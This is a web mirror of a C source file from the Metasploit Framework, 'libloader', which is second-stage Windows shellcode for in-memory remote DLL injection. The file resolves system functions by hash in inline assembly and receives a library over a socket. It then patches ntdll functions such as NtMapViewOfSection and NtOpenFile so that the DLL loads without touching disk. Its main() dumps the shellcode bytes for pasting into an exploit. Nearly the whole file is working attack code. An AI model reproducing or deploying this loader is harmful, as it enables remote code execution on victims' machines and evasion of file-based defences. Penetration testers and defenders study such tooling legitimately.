CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/dllinject/libloader.c
Views: 11766
1
2
3
/*
4
* libloader -- In-Memory Remote Library Injection shellcode
5
* Jarkko Turkulainen <jt[at]klake.org>
6
*
7
* Platforms: Windows NT4/2000/XP/2003
8
*
9
* Compile: cl /GS- /Os libloader.c /link /fixed /release
10
*
11
*
12
* How to use:
13
*
14
* See main() for example. To make this work in real-world exploit, you
15
* must manually hack the exploit code. For quick demonstration, run
16
* against the demo server "srv.exe".
17
*
18
* NOTE: the loaded library MUST export a function named "Init" !!!
19
* That is the actual code you must write to make this stuff useful :-)
20
* See example.c to get the idea.
21
*
22
*
23
* TODO:
24
*
25
* - Hide the DLL from PEB
26
*
27
*
28
* Credits:
29
*
30
* - skape for ideas, nologin, Metasploit
31
*
32
*
33
*/
34
35
36
37
38
#include <winsock2.h>
39
#include <sys/types.h>
40
#include <sys/stat.h>
41
42
#include "libloader.h"
43
44
#pragma comment(lib, "ws2_32.lib")
45
46
#pragma warning(disable: 4068)
47
48
49
/*
50
* 2nd stage loader
51
*
52
* loader2_start is a bootstrapper for the actual shellcode. It loads all the
53
* libraries and resolves function VMAs. All information is stored in structure
54
* SHELLCODE_CTX which acts like import and data section for rest of the program.
55
*
56
*/
57
58
void loader2_start() {
59
SHELLCODE_CTX ctx;
60
char winsock[10];
61
62
__asm {
63
jmp callback ; Jump to callback address
64
65
startup:
66
jmp continue ; Continue execution
67
68
callback:
69
call startup ; Call startup
70
71
continue:
72
pop ebx ; Absolute address of continue
73
sub ebx, 0x15 ; Adjust the address to point to
74
; shellcode_start()
75
; Note that this value is not
76
; correct if the code above is modified
77
; somehow (or if the compiler for some
78
; reason generates different code..)
79
mov ctx.offset, ebx ; Save offset
80
mov ctx.sd, edi ; Save the file descriptor
81
jmp resolve_vmas ; Skip general functions
82
83
#include "generic.c"
84
85
resolve_vmas:
86
; kernel32.dll routines
87
88
call find_kernel32 ; Find kernel32 base address
89
mov ebx, eax ; Save the handle in ebx
90
91
push HASH_LoadLibraryA ; Push function hash
92
push ebx ; Push base handle
93
call find_function ; Find function
94
add esp, 8 ; Fix stack
95
mov ctx.LoadLibrary, eax ; Save the VMA
96
97
push HASH_GetProcAddress ; Here we go again..
98
push ebx
99
call find_function
100
add esp, 8
101
mov ctx.GetProcAddress, eax
102
push HASH_ExitProcess
103
push ebx
104
call find_function
105
add esp, 8
106
mov ctx.ExitProcess, eax
107
push HASH_VirtualAlloc
108
push ebx
109
call find_function
110
add esp, 8
111
mov ctx.VirtualAlloc, eax
112
push HASH_VirtualFree
113
push ebx
114
call find_function
115
add esp, 8
116
mov ctx.VirtualFree, eax
117
push HASH_VirtualQuery
118
push ebx
119
call find_function
120
add esp, 8
121
mov ctx.VirtualQuery, eax
122
push HASH_VirtualProtect
123
push ebx
124
call find_function
125
add esp, 8
126
mov ctx.VirtualProtect, eax
127
push HASH_FlushInstructionCache
128
push ebx
129
call find_function
130
add esp, 8
131
mov ctx.FlushInstructionCache, eax
132
push HASH_WriteProcessMemory
133
push ebx
134
call find_function
135
add esp, 8
136
mov ctx.WriteProcessMemory, eax
137
; ntdll.dll routines
138
xor eax, eax
139
mov al, 0x6c
140
push eax ; Push "l\x00\x00\x00"
141
push 0x6c64746e ; Push "ntdl"
142
push esp ; Push address of "ntdll\x00\x00\x00"
143
call ctx.LoadLibrary ; Get module handle
144
mov ebx, eax ; Save the handle in ebx
145
146
push HASH_NtOpenSection ; Push function hash
147
push ebx ; Push base handle
148
call find_function ; Find function
149
add esp, 8 ; Fix stack
150
mov ctx.NtOpenSection, eax ; Save function VMA
151
152
153
push HASH_NtQueryAttributesFile ; Here we go again..
154
push ebx
155
call find_function
156
add esp, 8
157
mov ctx.NtQueryAttributesFile, eax
158
push HASH_NtOpenFile
159
push ebx
160
call find_function
161
add esp, 8
162
mov ctx.NtOpenFile, eax
163
push HASH_NtCreateSection
164
push ebx
165
call find_function
166
add esp, 8
167
mov ctx.NtCreateSection, eax
168
push HASH_NtMapViewOfSection
169
push ebx
170
call find_function
171
add esp, 8
172
mov ctx.NtMapViewOfSection, eax
173
}
174
175
winsock[0] = 'w';
176
winsock[1] = 's';
177
winsock[2] = '2';
178
winsock[3] = '_';
179
winsock[4] = '3';
180
winsock[5] = '2';
181
winsock[6] = 0;
182
183
ctx.LoadLibrary(winsock);
184
185
__asm
186
{
187
mov edx, eax
188
189
push HASH_recv
190
push edx
191
call find_function
192
add esp, 8
193
mov ctx.recv, eax
194
}
195
196
/* Now call the shellcode main function */
197
198
loader2_main(&ctx);
199
}
200
201
202
/*
203
* This is where the context pointer is saved.
204
* It is (almost) static offset from find_ctx so it is easily determined at run-time.
205
* To be exact, the offset is dependent of compiler version, but the compiler knows
206
* relative offset between these functions. Using that information with the absolute
207
* address of find_ctx, the context pointer can be found. See find_ctx().
208
*
209
*/
210
int __declspec(naked) ctx_data() {
211
__asm {
212
_emit 0xff
213
_emit 0xff
214
_emit 0xff
215
_emit 0xff
216
}
217
218
}
219
220
/*
221
* find_ctx is used for finding the shellcode context in memory. It is
222
* mandatory step because the hook functions have no glue about the context
223
* (they are called from ntdll.dll)
224
* lea eax, dword ptr find_ctx ; Calculate relative offset
225
lea edx, dword ptr ctx_data
226
sub eax, edx
227
*/
228
int __declspec(naked) find_ctx() {
229
__asm {
230
push ebp
231
mov ebp, esp
232
call getaddress ; Get our address
233
234
getaddress:
235
pop ecx ; Save address in ebx
236
sub ecx, 8 ; Adjust to point to find_ctx
237
mov eax, offset find_ctx ; Calculate relative offset
238
sub eax, offset ctx_data
239
sub ecx, eax ; Adjust to point to ctx_data
240
mov eax, [ecx] ; Return contents
241
pop ebp
242
ret
243
}
244
}
245
246
/*
247
* Find library name from given unicode string
248
*
249
*/
250
int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) {
251
int i, j;
252
253
for (i = 0; i < str->Length; i++) {
254
for (j = 0; j < ctx->liblen; j++) {
255
if (str->Buffer[i + j] != ctx->libname[j])
256
break;
257
}
258
259
/* Match */
260
if (j == ctx->liblen) {
261
return 0;
262
}
263
}
264
return 1;
265
}
266
267
268
/* NtOpenSection hook */
269
270
NTSTATUS NTAPI m_NtOpenSection(
271
PHANDLE SectionHandle,
272
ACCESS_MASK DesiredAccess,
273
POBJECT_ATTRIBUTES ObjectAttributes) {
274
275
SHELLCODE_CTX *ctx;
276
277
/* Find our context */
278
ctx = (SHELLCODE_CTX *) find_ctx();
279
280
if (!find_string(ctx, ObjectAttributes->ObjectName)) {
281
*SectionHandle = (PHANDLE)ctx->mapped_address;
282
return STATUS_SUCCESS;
283
284
}
285
return ctx->p_NtOpenSection(SectionHandle, DesiredAccess,
286
ObjectAttributes);
287
288
}
289
290
291
/* NtQueryAttributesFile hook */
292
293
NTSTATUS NTAPI m_NtQueryAttributesFile(
294
POBJECT_ATTRIBUTES ObjectAttributes,
295
PFILE_BASIC_INFORMATION FileAttributes) {
296
297
SHELLCODE_CTX *ctx;
298
299
/* Find our context */
300
ctx = (SHELLCODE_CTX *) find_ctx();
301
302
if (!find_string(ctx, ObjectAttributes->ObjectName)) {
303
304
/*
305
* struct PFILE_BASIC_INFORMATION must be actually filled
306
* with something sane, otherwise it might break something.
307
* The values are defined in libloader.h
308
*
309
*/
310
FileAttributes->CreationTime.LowPart = LOW_TIME_1;
311
FileAttributes->CreationTime.HighPart = HIGH_TIME;
312
FileAttributes->LastAccessTime.LowPart = LOW_TIME_2;
313
FileAttributes->LastAccessTime.HighPart = HIGH_TIME;
314
FileAttributes->LastWriteTime.LowPart = LOW_TIME_1;
315
FileAttributes->LastWriteTime.HighPart = HIGH_TIME;
316
FileAttributes->ChangeTime.LowPart = LOW_TIME_1;
317
FileAttributes->ChangeTime.HighPart = HIGH_TIME;
318
FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL;
319
return STATUS_SUCCESS;
320
}
321
322
return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes);
323
324
}
325
326
/* NtOpenFile hook */
327
328
void NTAPI m_NtOpenFile(
329
PHANDLE FileHandle,
330
ACCESS_MASK DesiredAccess,
331
POBJECT_ATTRIBUTES ObjectAttributes,
332
PIO_STATUS_BLOCK IoStatusBlock,
333
ULONG ShareAccess,
334
ULONG OpenOptions) {
335
336
SHELLCODE_CTX *ctx;
337
338
/* Find our context */
339
ctx = (SHELLCODE_CTX *) find_ctx();
340
341
if (!find_string(ctx, ObjectAttributes->ObjectName)) {
342
*FileHandle = (PVOID)ctx->mapped_address;
343
return;
344
}
345
346
ctx->p_NtOpenFile(
347
FileHandle,
348
DesiredAccess,
349
ObjectAttributes,
350
IoStatusBlock,
351
ShareAccess,
352
OpenOptions);
353
return;
354
355
}
356
357
/* NtCreateSection hook */
358
359
NTSTATUS NTAPI m_NtCreateSection(
360
PHANDLE SectionHandle,
361
ULONG DesiredAccess,
362
POBJECT_ATTRIBUTES ObjectAttributes,
363
PLARGE_INTEGER MaximumSize,
364
ULONG PageAttributes,
365
ULONG SectionAttributes,
366
HANDLE FileHandle) {
367
368
SHELLCODE_CTX *ctx;
369
370
/* Find our context */
371
ctx = (SHELLCODE_CTX *)find_ctx();
372
373
if (FileHandle == (HANDLE)ctx->mapped_address) {
374
*SectionHandle = (PVOID)ctx->mapped_address;
375
return STATUS_SUCCESS;
376
}
377
378
return ctx->p_NtCreateSection(
379
SectionHandle,
380
DesiredAccess,
381
ObjectAttributes,
382
MaximumSize,
383
PageAttributes,
384
SectionAttributes,
385
FileHandle);
386
387
}
388
389
390
/* NtMapViewOfSection hook */
391
392
NTSTATUS NTAPI m_NtMapViewOfSection(
393
HANDLE SectionHandle,
394
HANDLE ProcessHandle,
395
PVOID *BaseAddress,
396
ULONG ZeroBits,
397
ULONG CommitSize,
398
PLARGE_INTEGER SectionOffset,
399
PULONG ViewSize,
400
SECTION_INHERIT InheritDisposition,
401
ULONG AllocationType,
402
ULONG Protect) {
403
404
SHELLCODE_CTX *ctx;
405
406
/* Find our context */
407
ctx = (SHELLCODE_CTX *)find_ctx();
408
409
if (SectionHandle == (HANDLE)ctx->mapped_address) {
410
*BaseAddress = (PVOID)ctx->mapped_address;
411
412
/* We assume that the image must be relocated */
413
return STATUS_IMAGE_NOT_AT_BASE;
414
415
}
416
417
return ctx->p_NtMapViewOfSection(
418
SectionHandle,
419
ProcessHandle,
420
BaseAddress,
421
ZeroBits,
422
CommitSize,
423
SectionOffset,
424
ViewSize,
425
InheritDisposition,
426
AllocationType,
427
Protect);
428
}
429
430
431
/* Patch given function */
432
433
void patch_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub,
434
unsigned char *hook) {
435
DWORD protect;
436
ULONG bytes, written;
437
MEMORY_BASIC_INFORMATION mbi_thunk;
438
439
440
/*
441
* Most native NT functions begin with stub like this:
442
*
443
* 00000000 B82B000000 mov eax,0x2b ; syscall
444
* 00000005 8D542404 lea edx,[esp+0x4] ; arguments
445
* 00000009 CD2E int 0x2e ; interrupt
446
*
447
* In offset 0, the actual system call is saved in eax. Syscall
448
* is 32 bit number (!) so we can assume 5 bytes of preamble size
449
* for each function.. If there's need to hook other functions,
450
* a complete disassembler is needed for preamble size counting.
451
*
452
*/
453
bytes = 5;
454
455
/* Create the stub */
456
ctx->WriteProcessMemory((HANDLE)-1, stub, (char *)address,
457
bytes, &written);
458
*(PBYTE)(stub + bytes) = 0xE9;
459
*(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5);
460
461
462
/* Patch original function */
463
464
/* Fix protection */
465
ctx->VirtualQuery((char *)address, &mbi_thunk,
466
sizeof(MEMORY_BASIC_INFORMATION));
467
ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
468
PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
469
470
/* Insert jump */
471
*(PBYTE)address = 0xE9;
472
*(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5);
473
474
475
/* Restore protection */
476
ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
477
mbi_thunk.Protect, &protect);
478
ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
479
mbi_thunk.RegionSize);
480
481
}
482
483
/* Install hooks, fix addresses */
484
485
void install_hooks(SHELLCODE_CTX *ctx) {
486
487
/* NtMapViewOfSection */
488
489
/* Patch */
490
patch_function(ctx, ctx->NtMapViewOfSection,
491
ctx->s_NtMapViewOfSection,
492
(unsigned char *)((DWORD)m_NtMapViewOfSection -
493
(DWORD)loader2_start) + ctx->offset);
494
495
/* Copy pointer */
496
ctx->p_NtMapViewOfSection =
497
(f_NtMapViewOfSection)ctx->s_NtMapViewOfSection;
498
499
/* NtQueryAttributesFile */
500
patch_function(ctx, ctx->NtQueryAttributesFile,
501
ctx->s_NtQueryAttributesFile,
502
(unsigned char *)((DWORD)m_NtQueryAttributesFile -
503
(DWORD)loader2_start) + ctx->offset);
504
ctx->p_NtQueryAttributesFile =
505
(f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile;
506
507
/* NtOpenFile */
508
patch_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile,
509
(unsigned char *)((DWORD)m_NtOpenFile -
510
(DWORD)loader2_start) + ctx->offset);
511
ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile;
512
513
/* NtCreateSection */
514
patch_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection,
515
(unsigned char *)((DWORD)m_NtCreateSection -
516
(DWORD)loader2_start) + ctx->offset);
517
ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection;
518
519
520
/* NtOpenSection */
521
patch_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection,
522
(unsigned char *)((DWORD)m_NtOpenSection -
523
(DWORD)loader2_start) + ctx->offset);
524
ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection;
525
526
}
527
528
/* Restore given function */
529
530
void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub) {
531
DWORD protect;
532
ULONG bytes, written;
533
MEMORY_BASIC_INFORMATION mbi_thunk;
534
535
bytes = 5;
536
537
/* Patch original function */
538
539
/* Fix protection */
540
ctx->VirtualQuery((char *)address, &mbi_thunk,
541
sizeof(MEMORY_BASIC_INFORMATION));
542
ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
543
PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
544
545
/* Copy bytes back to function */
546
ctx->WriteProcessMemory((HANDLE)-1, (char *)address, stub,
547
bytes, &written);
548
549
/* Restore protection */
550
ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
551
mbi_thunk.Protect, &protect);
552
ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
553
mbi_thunk.RegionSize);
554
555
}
556
557
/* Remove hooks */
558
559
void remove_hooks(SHELLCODE_CTX *ctx) {
560
561
/* NtMapViewOfSection */
562
restore_function(ctx, ctx->NtMapViewOfSection,
563
ctx->s_NtMapViewOfSection);
564
565
/* NtQueryAttributesFile */
566
restore_function(ctx, ctx->NtQueryAttributesFile,
567
ctx->s_NtQueryAttributesFile);
568
569
/* NtOpenFile */
570
restore_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile);
571
572
/* NtCreateSection */
573
restore_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection);
574
575
576
/* NtOpenSection */
577
restore_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection);
578
579
580
}
581
582
/* Map file in memory as section */
583
584
void map_file(SHELLCODE_CTX *ctx) {
585
PIMAGE_NT_HEADERS nt;
586
PIMAGE_DOS_HEADER dos;
587
PIMAGE_SECTION_HEADER sect;
588
int i;
589
590
dos = (PIMAGE_DOS_HEADER)ctx->file_address;
591
nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew);
592
593
/*
594
* Allocate space for the mapping
595
* First, try to map the file at ImageBase
596
*
597
*/
598
ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
599
nt->OptionalHeader.SizeOfImage,
600
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
601
602
603
/* No success, let the system decide.. */
604
if (ctx->mapped_address == 0) {
605
ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)NULL,
606
nt->OptionalHeader.SizeOfImage,
607
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
608
609
}
610
611
/* Write headers */
612
ctx->WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address,
613
(LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0);
614
615
/* Write sections */
616
sect = IMAGE_FIRST_SECTION(nt);
617
for (i = 0; i < nt->FileHeader.NumberOfSections; i++) {
618
ctx->WriteProcessMemory((HANDLE)-1,
619
(PCHAR)ctx->mapped_address + sect[i].VirtualAddress,
620
(PCHAR)ctx->file_address + sect[i].PointerToRawData,
621
sect[i].SizeOfRawData, 0);
622
}
623
624
}
625
626
627
/*
628
* loader2_main - shellcode main function
629
*
630
* Yes - written in C. Why?
631
*
632
* - It is 2nd stage, there is not need for optimizing
633
* - Writing complex programs in pure assembly takes time
634
* - C shellcode is extremely cool
635
* - I wanted to find out how it's done
636
* - Oh, I almost forgot, it's cool
637
*
638
*/
639
640
int loader2_main(SHELLCODE_CTX *ctx) {
641
SHELLCODE_CTX *saveCtx;
642
DWORD length, base, function, old;
643
char name[12];
644
int i, bytes, read, left;
645
646
// Our context needs to be executable since we store original functions preambles
647
// inline (which are executed).
648
ctx->VirtualProtect(
649
ctx,
650
sizeof(SHELLCODE_CTX),
651
PAGE_EXECUTE_READWRITE,
652
&old);
653
654
/* dll entry point */
655
name[0] = 'I';
656
name[1] = 'n';
657
name[2] = 'i';
658
name[3] = 't';
659
name[4] = '\0';
660
661
/* Read the first 4 bytes for file length */
662
bytes = ctx->recv(ctx->sd, (char *)&length, 4, 0);
663
if (bytes <= 0) {
664
ctx->ExitProcess(1);
665
}
666
667
/* Allocate space for data */
668
ctx->file_address = (DWORD)ctx->VirtualAlloc(NULL, length,
669
MEM_COMMIT, PAGE_READWRITE);
670
if (ctx->file_address == 0) {
671
ctx->ExitProcess(1);
672
}
673
674
/* Read file */
675
for (bytes = 0, read = 0, left = length; left > 0;
676
left -= bytes, read += bytes) {
677
bytes = ctx->recv(ctx->sd, (char *)(ctx->file_address + read),
678
left, 0);
679
if (bytes < 0) {
680
break;
681
}
682
}
683
684
/* Set the library name */
685
for (i = 0; *(char *)(ctx->file_address + i); i++)
686
ctx->libname[i] = *(char *)(ctx->file_address + i);
687
ctx->libname[i] = 0;
688
ctx->liblen = i;
689
690
/* Update the file address offset */
691
ctx->file_address += i + 1;
692
693
map_file(ctx);
694
695
/* Write context pointer */
696
*(DWORD *)(((DWORD)ctx_data - (DWORD)loader2_start) + ctx->offset) =
697
*(DWORD *)&ctx;
698
699
install_hooks(ctx);
700
701
if ((base = ctx->LoadLibrary(ctx->libname)) == 0) {
702
703
/* Something is terribly wrong.. */
704
ctx->ExitProcess(1);
705
}
706
707
remove_hooks(ctx);
708
709
/* Call entry point, if it exists */
710
if ((function = (DWORD)ctx->GetProcAddress((HMODULE)base,
711
(LPCTSTR)name)) != 0) {
712
713
((int(*)()) (function))(ctx->sd);
714
}
715
716
ctx->VirtualFree((LPVOID)((char *)ctx->file_address - ctx->liblen - 1),
717
0, MEM_RELEASE);
718
719
ctx->ExitProcess(0);
720
721
ctx = NULL;
722
723
/* Just to keep compiler happy */
724
return(0);
725
726
}
727
728
729
730
/* Just a stub for counting the shellcode size */
731
732
int __declspec(naked) loader2_end() {
733
__asm ret
734
735
}
736
737
738
739
/*
740
* Simple program for demonstration with "srv.exe"
741
*
742
* Example: libloader 10.0.0.1 1111 example.dll
743
*
744
*/
745
746
int main(int argc, char **argv) {
747
int sd, c, i;
748
char *buf, databuf[1024];
749
struct hostent *hp;
750
struct sockaddr_in adr, local;
751
struct stat sstat;
752
FILE *fp;
753
WSADATA wsa_data;
754
unsigned char *start1, *end1, *start2, *end2;
755
unsigned long length1, length2;
756
757
758
start2 = (unsigned char *)loader2_start;
759
end2 = (unsigned char *)loader2_end;
760
length2 = end2 - start2;
761
762
/*
763
* XXXXXXXXXXXX Insert your exploit code here... XXXXXXXXXXX
764
*
765
* If this were a real world exploit, the actual exploit magic
766
* should be done at this point. As a proof-of-concept, we just
767
* send the 1st loader to host which jumps to code and executes
768
* it (assuming that there's the example server "srv.exe").
769
*
770
*/
771
772
773
fprintf(stderr, "total size is %lu\n", length2);
774
printf("\"");
775
for (i = 0; i < length2; i++)
776
{
777
printf("\\x%02x", start2[i] & 0xff);
778
779
if (i > 0 && i % 20 == 0)
780
printf("\" +\n\"");
781
}
782
printf("\"\n");
783
784
exit(0);
785
}
786
787
788